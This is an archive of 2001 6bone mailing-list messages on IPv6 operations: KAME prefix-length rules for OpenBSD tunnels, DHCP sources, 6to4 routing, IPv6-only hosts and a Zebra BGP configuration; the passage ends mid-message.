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>  Hello Guys?
>  
> Could you tell me about DHCP,I need to get the source code for a DCHP 
> server and some
> test software.
ftp://ftp.isc.org/isc/dhcp/ has the leading software program.

You can google for 'dhclient' also, which is a client-side program from
another author - many people use this as client.

regards,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From 6bone-owner  Tue Mar  6 14:09:16 2001
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From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject:  IPv6 security 
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Hello Guys?

Could you tell me the place or company I can get a source code for
TCP/IP in Linux?

Thanks in advance.

Flidersan


From 6bone-owner  Tue Mar  6 14:36:59 2001
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Subject: gated and Linux
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Does anyone have any sample config files for gated on Linux ? 

Thanks,
Chris




From 6bone-owner  Tue Mar  6 15:28:03 2001
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Date: Tue, 6 Mar 2001 13:27:55 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Feico Dillema <feico@pasta.cs.uit.no>
cc: Kristoff Bonne <kristoff.bonne@skypro.be>, <6bone@ISI.EDU>
Subject: Re: OpenBSD IPv6 problem
In-Reply-To: <20010306192959.B3337@pasta.cs.uit.no>
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On Tue, 6 Mar 2001, Feico Dillema wrote:

> >         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
>                                                              ^^^^^^^^^^^^^
> I believe the only prefixlengths Kame accepts for a gif tunnel are 64
> and 128.

Anyone know what's the rationale for allowing only those 2 values?  I can
understand allowing the 64 but disallowing 127 while allowing 128 seems
overly restrictive.  You do need to know there's at least 1 other on-link
device on the same interface to setup BGP peering.  Otherwise it seems
that in the case of a 128 prefixlength, one would need to do ebgp multihop
as well as add a static route to the remote peer address, or in the 64
prefixlength case, waste a SLA for the link?


From 6bone-owner  Tue Mar  6 15:36:52 2001
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To: Antonio Querubin <tony@lava.net>
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Subject: Re: OpenBSD IPv6 problem
From: itojun@iijlab.net
Date: Wed, 07 Mar 2001 08:36:21 +0900
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>> But, I get two 'add' things:
>> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
>> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
>>
>> But, the config does work and a 'ifconfig' does show what it is suppost
>> to:
>> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>>         physical address inet 195.13.8.131 --> 195.13.17.26
>>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
>> 0x12
>>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
>
>In /etc/sysctl.conf try setting net.inet6.ip6.accept_rtadv=1 and/or doing
>a 'rtadvd gif1'.

	i don't think that is the right answer for the submitter's
	environment....

itojun

From 6bone-owner  Tue Mar  6 16:38:24 2001
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From: stuart.prevost@bt.com
To: tony@lava.net, 6bone@ISI.EDU
Subject: RE: 3ffe:8x00::/24 filtering?
Date: Tue, 6 Mar 2001 09:12:21 -0000 
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Antonio,

No filtering where I am, can see all 24 /28 prefixes.

Stuart

> -----Original Message-----
> From: Antonio Querubin [mailto:tony@lava.net]
> Sent: Monday, March 05, 2001 7:42 PM
> To: 6bone
> Subject: 3ffe:8x00::/24 filtering?
> 
> 
> While surveying some of the 6Bone looking glass sites I 
> noticed that some
> of the recently added 6Bone sites aren't seen by some sites.  
> The pattern
> I've noticed so far suggests that perhaps sites in the 3ffe:8100::/24
> and/or 3ffe:8000::/24 ranges may be filtered somewhere.  I'm 
> wondering if
> anyone is seeing any other pattern?
> 
> 

From 6bone-owner  Tue Mar  6 16:38:37 2001
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From: stuart.prevost@bt.com
To: huntting@hunkular.glarp.com
Cc: pekkas@netcore.fi, 6bone@ISI.EDU
Subject: RE: 6to4 prefix announcements? 
Date: Tue, 6 Mar 2001 08:54:54 -0000 
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Brad wrote:

> -----Original Message-----
> From: Brad Huntting [mailto:huntting@hunkular.glarp.com]
> Sent: Tuesday, March 06, 2001 4:11 AM
> To: stuart.prevost@bt.com
> Cc: pekkas@netcore.fi; 6bone@ISI.EDU
> Subject: Re: 6to4 prefix announcements? 
> 
> 
> 
> > 6to4.ipv6.bt.com is operational and I am announcing 2002::/16
> 
> > If you are having trouble using this then please let me know.
> > Regards,
> > Stuart
> 
> Does anyone see this announcement?  It's not showing up on either
> of the two 6bone connections here.
> 
> 
> brad
> 
> P.S.  "here" = 
> 	2001:428:e02:1::1
> 	3ffe:1900:c001:1::1
> 
Here I currently receive the 2002::/16 prefix from 5 peers in the DFZ.

Also I can reach both your IPv6 addresses.  Maybe 6to4 connectivity is more
wide spread in Europe ?

I know that from my own experience I have always seen the 2002::/16 prefix,
and we act as a 6to4 relay router which is getting used.

I hope this helps?

Stuart

From 6bone-owner  Tue Mar  6 16:39:00 2001
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To: Antonio Querubin <tony@lava.net>
cc: Feico Dillema <feico@pasta.cs.uit.no>,
        Kristoff Bonne <kristoff.bonne@skypro.be>, 6bone@ISI.EDU
In-reply-to: tony's message of Tue, 06 Mar 2001 13:27:55 -1000.
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Subject: Re: OpenBSD IPv6 problem
From: itojun@iijlab.net
Date: Wed, 07 Mar 2001 09:38:20 +0900
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>> >         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
>>                                                              ^^^^^^^^^^^^^
>> I believe the only prefixlengths Kame accepts for a gif tunnel are 64
>> and 128.
>Anyone know what's the rationale for allowing only those 2 values?  I can
>understand allowing the 64 but disallowing 127 while allowing 128 seems
>overly restrictive.  You do need to know there's at least 1 other on-link
>device on the same interface to setup BGP peering.  Otherwise it seems
>that in the case of a 128 prefixlength, one would need to do ebgp multihop
>as well as add a static route to the remote peer address, or in the 64
>prefixlength case, waste a SLA for the link?

	you should be okay to use 127 (never tested),
	as long as you do not specify the peer's address.

	the problem we see in "A B 127" (or 64) is ambiguity.

	let us assume that we have configured like "A prefixlen 64" (or 127).
	this lets you know that, on the interfrace, we have A/64 network
	and my address is A.  when we see some address under A/64, we throw
	it out to the interface.

	let us assume that we have configured like "A B prefixlen 128".
	this means that my side is A, and the other side is B.

	when we say "A B prefixlen 64" (or 127), we have A/64 network and the
	peer is B.  the information is ambiguous and affects neighbor
	determination.

itojun

From 6bone-owner  Tue Mar  6 17:08:01 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Tue, 06 Mar 2001 16:10:16 +0100."
             <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net> 
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    Date:        Tue, 6 Mar 2001 16:10:16 +0100 (CET)
    From:        Kristoff Bonne <kristoff.bonne@skypro.be>
    Message-ID:  <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>

  | What is 'error nr. 17'?

EEXIST - that's telling you the route you're trying to add is already
in the routing table.

What does your routing table look like, after you boot and have set up
the tunnel, before and after you start the routing processes?

kre

From 6bone-owner  Tue Mar  6 17:08:07 2001
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Date: Tue, 6 Mar 2001 07:27:06 -1000 (HST)
From: Antonio Querubin <tony@lava.net>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: <6bone@ISI.EDU>
Subject: Re: OpenBSD IPv6 problem
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On Tue, 6 Mar 2001, Kristoff Bonne wrote:

> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
>
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

In /etc/sysctl.conf try setting net.inet6.ip6.accept_rtadv=1 and/or doing
a 'rtadvd gif1'.




From 6bone-owner  Tue Mar  6 17:57:02 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: OpenBSD IPv6 problem
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Greetings,

I know this is not the most-correct place to ask things about IPv6 OpenBSD
problems, but I do not get any reply when I post in the openbsd
newsgroups; nor in the IPv6 OpenBSD mailing-list.

I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
as BGP4+ peering mesh.

But, I get two 'add' things:
- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
ifconfig: SIOCDIFADDR: Address family not supported by protocol family

But, the config does work and a 'ifconfig' does show what it is suppost
to:
gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
        physical address inet 195.13.8.131 --> 195.13.17.26
        inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
0x12
        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127


- In the log-file, I keep on getting the folling message:
Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
neighbor(3ffe:80b0:1001:00ff::0002), errno=17

What is 'error nr. 17'?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Tue Mar  6 18:18:31 2001
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To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
In-reply-to: kristoff.bonne's message of Tue, 06 Mar 2001 16:10:16 +0100.
      <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>
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Subject: Re: OpenBSD IPv6 problem
From: itojun@iijlab.net
Date: Wed, 07 Mar 2001 01:41:07 +0900
Message-ID: <14637.983896867@coconut.itojun.org>
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>I know this is not the most-correct place to ask things about IPv6 OpenBSD
>problems, but I do not get any reply when I post in the openbsd
>newsgroups; nor in the IPv6 OpenBSD mailing-list.
>
>I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
>as BGP4+ peering mesh.
>
>But, I get two 'add' things:
>- When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
>ifconfig: SIOCDIFADDR: Address family not supported by protocol family

	i guess this is due to some issue in /sbin/ifconfig.
	please ignore it for now.

>- In the log-file, I keep on getting the folling message:
>Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
>neighbor(3ffe:80b0:1001:00ff::0002), errno=17
>What is 'error nr. 17'?

>        inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

	the above error is generated because of this configuration.
	please use either of the following:

	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 3ffe:80b0:1001:ff::2 prefixlen 128 alias
	ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 prefixlen 64 alias

	if you specify both of the addresses, use prefixlen = 128; otherwise,
	use prefixlen = 64 (or 127 if you really want to).

	latest KAME code checks the condition on ioctl time.

itojun

From 6bone-owner  Tue Mar  6 18:18:39 2001
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From: "R.  Flidersan" <flider@ltrgm.ee.itb.ac.id>
To: horape@tinuviel.compendium.net.ar
cc: Pekka Savola <pekkas@netcore.fi>, itojun@iijlab.net, 6bone@ISI.EDU
Subject: DHCP 
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 Hello Guys?
 
Could you tell me about DHCP,I need to get the source code for a DCHP 
server and some
test software.

 Thanks in advance.
 
 Flidersan
 
 

From 6bone-owner  Tue Mar  6 18:24:39 2001
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Date: Tue, 6 Mar 2001 19:29:59 +0100
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
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On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
You could try snap-users@kame.net (The Kame-stack is what is
integrated in OpenBSD) as alternative. I use NetBSD which also
integrated the Kame IPv6 stack, but things may be different between
the different BSDs, so I may be wrong below.

>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
                                                             ^^^^^^^^^^^^^
I believe the only prefixlengths Kame accepts for a gif tunnel are 64
and 128. BTW, for a IPv6 over IPv4 tunnel there's not requiremetn to
assign global v6 addresses to the tunnel endpoints. 

However, the error-msg you got more likely points to some kind of
routing problem. Check netstat -rn the right protocol is send over the
right interface. There should be no IPv4 routeing entry in your
routing table pointing over your gif interface.

> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
This is either a prefixlen problem (as I mentioned above) or the
machine on the other side of the tunnel is misconfigured (is the other
side also a BSD machine?). However, I think these messages are mostly
harmless and should not prevent you from getting traffic through your
tunnel.

Feico.

From 6bone-owner  Tue Mar  6 18:24:46 2001
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From: horape@tinuviel.compendium.net.ar
To: Kristoff Bonne <kristoff.bonne@skypro.be>
Cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem
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¡Hola!

I'd the same problem with FBSD (they both use KAME, so there is the
same thing)

Use prefixlen 64 or 128. 127 is invalid prefixlen (and new KAME
versions will not let you set it)

					HoraPe

On Tue, Mar 06, 2001 at 04:10:16PM +0100, Kristoff Bonne wrote:
> Greetings,
> 
> I know this is not the most-correct place to ask things about IPv6 OpenBSD
> problems, but I do not get any reply when I post in the openbsd
> newsgroups; nor in the IPv6 OpenBSD mailing-list.
> 
> I have a number of PCs running OpenBSD 2.8 and Zebra; I would like to use
> as BGP4+ peering mesh.
> 
> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
> 
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127
> 
> 
> - In the log-file, I keep on getting the folling message:
> Mar  6 15:59:46 bgppai /bsd: nd6_lookup: failed to add route for a
> neighbor(3ffe:80b0:1001:00ff::0002), errno=17
> 
> What is 'error nr. 17'?
> 
> 
> Cheerio! Kr. Bonne.
> -- 
> KB905-RIPE                                       Belgacom  IP networking
> (c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
> kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Tue Mar  6 20:15:13 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>
cc: horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
        itojun@iijlab.net, 6bone@ISI.EDU
Subject: Re: DHCP 
In-reply-to: Your message of Tue, 06 Mar 2001 23:40:34 +0700.
             <Pine.LNX.4.10.10103062338560.4635-100000@ltrgm.ee.itb.ac.id> 
Date: Tue, 06 Mar 2001 21:20:59 +0100
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 In your previous mail you wrote:

   Could you tell me about DHCP,I need to get the source code for a DCHP 
   server and some test software.
   
=> if you need a DHCPv4 then you can get the ISC one or the WIDE one...
If you need a DHCPv6 then there is nothing (yet) for the last specs.

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Tue Mar  6 20:26:34 2001
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From: Antonio Querubin <tony@lava.net>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: <6bone@ISI.EDU>
Subject: Re: OpenBSD IPv6 problem
In-Reply-To: <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>
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On Tue, 6 Mar 2001, Kristoff Bonne wrote:

> But, I get two 'add' things:
> - When I configure a IPv6 over IPv4 tunnel, I always get a error-message:
> ifconfig: SIOCDIFADDR: Address family not supported by protocol family
>
> But, the config does work and a 'ifconfig' does show what it is suppost
> to:
> gif1: flags=8011<UP,POINTOPOINT,MULTICAST> mtu 1280
>         physical address inet 195.13.8.131 --> 195.13.17.26
>         inet6 fe80::210:4bff:fe3f:b495%gif1 -> :: prefixlen 64 scopeid
> 0x12
>         inet6 3ffe:80b0:1001:ff::3 -> 3ffe:80b0:1001:ff::2 prefixlen 127

In /etc/sysctl.conf try setting net.inet6.ip6.accept_rtadv=1 and/or doing
a 'rtadvd gif1'.



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From: Robert Elz <kre@munnari.OZ.AU>
To: Kristoff Bonne <kristoff.bonne@skypro.be>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Tue, 06 Mar 2001 16:10:16 +0100."
             <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net> 
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    Date:        Tue, 6 Mar 2001 16:10:16 +0100 (CET)
    From:        Kristoff Bonne <kristoff.bonne@skypro.be>
    Message-ID:  <Pine.LNX.4.21.0103061555490.14593-100000@frigg.belbone.net>

  | What is 'error nr. 17'?

EEXIST - that's telling you the route you're trying to add is already
in the routing table.

What does your routing table look like, after you boot and have set up
the tunnel, before and after you start the routing processes?

kre

From 6bone-owner  Tue Mar  6 22:49:57 2001
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From: Robert Elz <kre@munnari.OZ.AU>
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Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Wed, 07 Mar 2001 09:38:20 +0900."
             <19755.983925500@coconut.itojun.org> 
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    Date:        Wed, 07 Mar 2001 09:38:20 +0900
    From:        itojun@iijlab.net
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  | 	the problem we see in "A B 127" (or 64) is ambiguity.

Actually, in that one particular case (127), there should be none.  With
a shorter subnet mask there would be for sure (for anyone who doesn't
see this, imagine 3ffe:9000::8/125 - configured with
	3ffe:9000::9 -> 3ffe:9000::A
and then ask yourself what you do with a packet addressed to 3ffe:9000::B)

But where the mask is 127, there are only two possible addresses, mine
and his - I'm not sending packets out at all if the address is mine
(unless I like to implement that as a connectivity test and loop
them through the peer) - in the other case, the address is his, and
sending it to him (the peer) is clearly correct, whatever reasoning
gets you to send it that way.

Given that people want to be able to configure things this way
(it suits their sense of aesthetics) and that it should do no
real harm, I'd probably allow it - and then just treat it internally
as if the prefixlen were 128 (but keep the /127 to return when
requested so people don't get confused).

I might even want to allow /126 for the same kind of reason, though
that starts to get messier.   Nothing shorter makes sense though.

kre


From 6bone-owner  Wed Mar  7 00:01:32 2001
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Subject: How to configure host to ipv6 only
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Hi all.

How is it possible to configure a host with FreeBSD 3.5 to be
ipv6-only host? Or it's not? Please point me to a site where this is
addressed.... If this is a stupid question, sorry.... :)
Tia...

Carla



From 6bone-owner  Wed Mar  7 00:28:12 2001
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Subject: Re: gated and Linux
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Let me expand on that a little... 

Is anyone using Linux as a border router for ipv6 on the 6bone, with 
BGP4+ ?

If so, what routing daemon are you using, e.g. gated, mtrd, zebra, 
etc and do you have any sample config files. 

Thanks,
Chris


On 6 Mar 01, at 22:37, info@caladan.net wrote:

> Does anyone have any sample config files for gated on Linux ? 
> 
> Thanks,
> Chris
> 
> 



From 6bone-owner  Wed Mar  7 01:14:10 2001
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Just leaving out the ipv4 configuration isn't enough for you? (Remember to
set an IPv6 dns server in /etc/resolv.conf and be ready for seeing very
little of the internet unless you want to play with faithd)

I've an IPv6 only FBSD 4.2 that i've installed from the net using the
6bone.

On Wed, Mar 07, 2001 at 03:40:26PM +0800, Carla Quiblat wrote:
> 
> Hi all.
> 
> How is it possible to configure a host with FreeBSD 3.5 to be
> ipv6-only host? Or it's not? Please point me to a site where this is
> addressed.... If this is a stupid question, sorry.... :)
> Tia...
> 
> Carla
> 

-- 
					HoraPe
---
Horacio J. Peña
horape@compendium.com.ar
horape@uninet.edu
bofh@puntoar.net.ar
horape@hcdn.gov.ar

From 6bone-owner  Wed Mar  7 01:49:31 2001
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On Wed, 7 Mar 2001 info@caladan.net wrote:

> Is anyone using Linux as a border router for ipv6 on the 6bone, with
> BGP4+ ?
>
> If so, what routing daemon are you using, e.g. gated, mtrd, zebra,
> etc and do you have any sample config files.

We use zebra bgpd.  Here's part of our bgpd.conf file:

! specify your own ASN here
router bgp 6435
! add network statements for any address space allocated to you
 ipv6 bgp network 3ffe:8160::/28 nlri unicast multicast
! do any aggregation of your downstreams
 ipv6 bgp aggregate-address 3ffe:8160::/28 summary-only
! for each peer add a neighbor statement
 ipv6 bgp neighbor 3ffe:2900:d:a::1 remote-as 6175 nlri unicast multicast
! soft-reconfig is usually a good idea
 ipv6 bgp neighbor 3ffe:2900:d:a::1 soft-reconfiguration inbound
! add any AS path or route filters as necessary depending on your peering
! agreements ...





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Subject: Re: OpenBSD IPv6 problem 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
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>  | 	the problem we see in "A B 127" (or 64) is ambiguity.
>Actually, in that one particular case (127), there should be none.  With
>a shorter subnet mask there would be for sure (for anyone who doesn't
>see this, imagine 3ffe:9000::8/125 - configured with
>	3ffe:9000::9 -> 3ffe:9000::A
>and then ask yourself what you do with a packet addressed to 3ffe:9000::B)

	I'm not objecting to assign /127 to ppp link.  I'm just trying to
	describe how you can configure KAME node to handle /127 prefix right.

itojun

From 6bone-owner  Wed Mar  7 03:33:24 2001
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Subject: Re: OpenBSD IPv6 problem 
From: Jun-ichiro itojun Hagino <itojun@iijlab.net>
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>>  | 	the problem we see in "A B 127" (or 64) is ambiguity.
>>Actually, in that one particular case (127), there should be none.  With
>>a shorter subnet mask there would be for sure (for anyone who doesn't
>>see this, imagine 3ffe:9000::8/125 - configured with
>>	3ffe:9000::9 -> 3ffe:9000::A
>>and then ask yourself what you do with a packet addressed to 3ffe:9000::B)
>	I'm not objecting to assign /127 to ppp link.  I'm just trying to
>	describe how you can configure KAME node to handle /127 prefix right.

	we implemented rather picky code against the above configuration
	due to NUD handling (we need to know who is "on link" for the p2p
	link when we initiate p2p).  sorry if my memory is wrong, jinmei
	should have better answers.

itojun

From 6bone-owner  Wed Mar  7 04:05:32 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: Jun-ichiro itojun Hagino <itojun@iijlab.net>
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Wed, 07 Mar 2001 20:28:00 +0900."
             <20010307112800.87D507E0E@starfruit.itojun.org> 
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    Date:        Wed, 07 Mar 2001 20:28:00 +0900
    From:        Jun-ichiro itojun Hagino <itojun@iijlab.net>
    Message-ID:  <20010307112800.87D507E0E@starfruit.itojun.org>

  | 	I'm not objecting to assign /127 to ppp link.  I'm just trying to
  | 	describe how you can configure KAME node to handle /127 prefix right.

Sure.

I was just suggesting that you might change the KAME config rules
slightly so they allow a (likely fairly common) usage - most likely
by simply converting it internally into the more rational setup.

I can't see any particular reason for not doing that, and you are likely
to avoid lots of "how do I do...?" or "why can't I ...?" type
questions in the future.

kre


From 6bone-owner  Wed Mar  7 04:42:25 2001
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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Wed, 7 Mar 2001, Carla Quiblat wrote:
> How is it possible to configure a host with FreeBSD 3.5 to be
> ipv6-only host? Or it's not? Please point me to a site where this is
> addressed.... If this is a stupid question, sorry.... :)

As stated in another reply you could simply leave all IPv4 stuff
unconfigured. However, if you want to be more sure that the host is not
reachable over IPv4, you could explicitily block IPv4 traffic on the host
itself or on its router(s).

You can also try to remove the ``options INET'' and related options from
your kernel configuration file but some applications might break if you do
this.

- -- 
Jasper Jongmans                                   aprogas@mail.com
Website                http://aprogas.student.utwente.nl/~aprogas/
PGP key          ftp://aprogas.student.utwente.nl/keys/pgp_dss.asc

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From 6bone-owner  Wed Mar  7 05:20:34 2001
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Date: 	Wed, 7 Mar 2001 14:19:36 +0100
From: Rafal Maszkowski <rzm@icm.edu.pl>
To: info@caladan.net
Cc: 6bone@ISI.EDU
Subject: Re: gated and Linux
Message-ID: <20010307141936.L23110@burza.icm.edu.pl>
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On Wed, Mar 07, 2001 at 08:28:15AM -0000, info@caladan.net wrote:
> Let me expand on that a little... 
> Is anyone using Linux as a border router for ipv6 on the 6bone, with 
> BGP4+ ?
> If so, what routing daemon are you using, e.g. gated, mtrd, zebra, 
> etc and do you have any sample config files. 

Fairly big router on Zebra:
ftp://ftp.6bone.pl/pub/ipv6/conf/

R.
-- 
W iskier krzesaniu ¿ywem/Materia³ to rzecz g³ówna

From 6bone-owner  Wed Mar  7 06:37:40 2001
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From 6bone-owner  Wed Mar  7 07:13:23 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Todd T. Fries" <todd@fries.net>
cc: "R. Flidersan" <flider@ltrgm.ee.itb.ac.id>,
        horape@tinuviel.compendium.net.ar, Pekka Savola <pekkas@netcore.fi>,
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Subject: Re: DHCP 
In-reply-to: Your message of Wed, 07 Mar 2001 08:34:19 CST.
             <20010307083419.A4157@eclipse.fries.net> 
Date: Wed, 07 Mar 2001 16:08:59 +0100
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 In your previous mail you wrote:

   Penned by Francis Dupont on Tue, Mar 06, 2001 at 09:20:59PM +0100, we have:
   | => if you need a DHCPv4 then you can get the ISC one or the WIDE one...
   | If you need a DHCPv6 then there is nothing (yet) for the last specs.
   
   I sincerely hope dhcpv6 does not find its way to the specs. rtsol works,
   and has none of the security problems associated with dhcp.
   
=> I *disagree*. We really need stateless/managed autoconfiguration and
rtsol has untractable security problems (*)... DHCPv6 has to work ASAP!

Francis.Dupont@enst-bretagne.fr

PS *: Dan McDonald tried and failed so the problem is at least very hard
with one exception: point-to-point links (PPP can easily setup a nice
security environment for you for instance).
PPS: if you need more arguments, just look at draft-perkins-aaav6-02.txt
(or the 03 I-D if it is out).

From 6bone-owner  Wed Mar  7 12:29:32 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: Re: OpenBSD IPv6 problem 
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Greetings,


On Wed, 7 Mar 2001, Robert Elz wrote:
>   | 	the problem we see in "A B 127" (or 64) is ambiguity.
> Actually, in that one particular case (127), there should be none.  With
> a shorter subnet mask there would be for sure (for anyone who doesn't
> see this, imagine 3ffe:9000::8/125 - configured with
> 	3ffe:9000::9 -> 3ffe:9000::A
> and then ask yourself what you do with a packet addressed to 3ffe:9000::B)
> But where the mask is 127, there are only two possible addresses, mine
> and his - I'm not sending packets out at all if the address is mine
> (unless I like to implement that as a connectivity test and loop
> them through the peer) - in the other case, the address is his, and
> sending it to him (the peer) is clearly correct, whatever reasoning
> gets you to send it that way.

> Given that people want to be able to configure things this way
> (it suits their sense of aesthetics) and that it should do no
> real harm, I'd probably allow it - and then just treat it internally
> as if the prefixlen were 128 (but keep the /127 to return when
> requested so people don't get confused).
Well, it's that way we used to work for IPv4. For reasons of management,
we alway use 'numbered' interfaces.
For that, we have a a number of 'class C's, we divide into 64 '/30'
subnets, and each link is assign one of these pairs. Router loopbacks get
a '/32'.

So, as I considered the prefixlen the IPv6 equivalent of the IPv4
'netmasks' (I hope I am correct about this), this translates into a single
'network' (3ffe:80b0:1001:ff::/64) I can divide into a -very very large-
number of /127 subnets I assign to the interfaces (in this case, a
'gif-interface').

Somebody any idea if this should be done differently in IPv6?


OK. There are some other options:
- Use the 'link-private' IP-address.
- Set up an IP-address on the loopback; and set up static routes for these
'lookbacks' on the routers.
(Or actually run OSPF or RIP between the routers).
(Hmm. Sounds like a good idea!).

Any more ideas or comments?

Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122





From 6bone-owner  Wed Mar  7 12:29:44 2001
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From: Kristoff Bonne <kristoff.bonne@skypro.be>
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Subject: Re: OpenBSD IPv6 problem
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Greeting,

On Wed, 7 Mar 2001 itojun@iijlab.net wrote:
> the above error is generated because of this configuration.
> please use either of the following:
> ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 3ffe:80b0:1001:ff::2 prefixlen 128 alias
> ifconfig gif1 inet6 3ffe:80b0:1001:ff::3 prefixlen 64 alias
> if you specify both of the addresses, use prefixlen = 128; otherwise,
> use prefixlen = 64 (or 127 if you really want to).
> latest KAME code checks the condition on ioctl time.
Euh.
May sound like a stupid question, but isn't the 'prefixlen' the IPv6
equivalent for the IPv4 netmask, or am I missing something?


Cheerio! Kr. Bonne.
-- 
KB905-RIPE                                       Belgacom  IP networking
(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122



From 6bone-owner  Wed Mar  7 16:05:22 2001
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From: Robert Elz <kre@munnari.OZ.AU>
To: itojun@iijlab.net
cc: 6bone@ISI.EDU
Subject: Re: OpenBSD IPv6 problem 
In-reply-to: Your message of "Wed, 07 Mar 2001 09:38:20 +0900."
             <19755.983925500@coconut.itojun.org> 
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    Date:        Wed, 07 Mar 2001 09:38:20 +0900
    From:        itojun@iijlab.net
    Message-ID:  <19755.983925500@coconut.itojun.org>

  | 	the problem we see in "A B 127" (or 64) is ambiguity.

Actually, in that one particular case (127), there should be none.  With
a shorter subnet mask there would be for sure (for anyone who doesn't
see this, imagine 3ffe:9000::8/125 - configured with
	3ffe:9000::9 -> 3ffe:9000::A
and then ask yourself what you do with a packet addressed to 3ffe:9000::B)

But where the mask is 127, there are only two possible addresses, mine
